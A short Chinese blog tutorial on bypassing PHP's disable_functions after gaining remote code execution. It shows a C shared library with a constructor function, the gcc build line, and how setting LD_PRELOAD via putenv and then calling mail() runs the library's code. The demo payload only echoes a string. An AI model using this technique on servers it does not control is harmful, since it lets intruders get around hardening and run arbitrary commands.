Leohearts

拥有一颗坚强而又温柔的心 *version 1.1

cover

编写一个用于绕过php disable_function的共享库文件

当你拿到php RCE,却发现system等函数被禁用了,你可以尝试使用此方法来绕过(基于putenv)。

在Linux中,有一个特殊的环境变量:LD_PRELAOD,指向一个共享库.so文件。

它会在每一个程序执行前被加载,当程序执行函数调用时会优先调用预加载的这个共享库库中的函数。

而php中类似mail()这样的函数会调用系统指令,于是这就给了我们不使用系统函数执行指令的机会。

步骤如下。

编写一个用于预加载的库文件

这里还有一个trick:在C语言中,带有__attribute__((constructor))标记的函数会在加载后被立即执行,无论是否被调用。

代码:

#include<stdlib.h>
__attribute__((constructor)) qwq(){
    unsetenv ("LD_PRELOAD");
    system ("echo 233");
}//记得unsetenv,不然会一直执行
你也可以找到一个php会调用的函数,然后做一个和它同名的函数,这样也可以在服务器调用同名函数时调用此函数。

编译:
gcc -shared new.c -o new.so

让服务器预加载此共享库

想办法把它扔上去,比如file_put_contents()或者从你的VPS上下载。

然后使用php的putenv()函数

putenv("LD_PRELOAD=/tmp/new.so")

就可以了。

执行一次系统调用

直接使用mail()等函数,确保它会有系统调用即可。

至此,我们成功绕过了disable_function的限制,执行了我们想要的指令。

参考文章:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php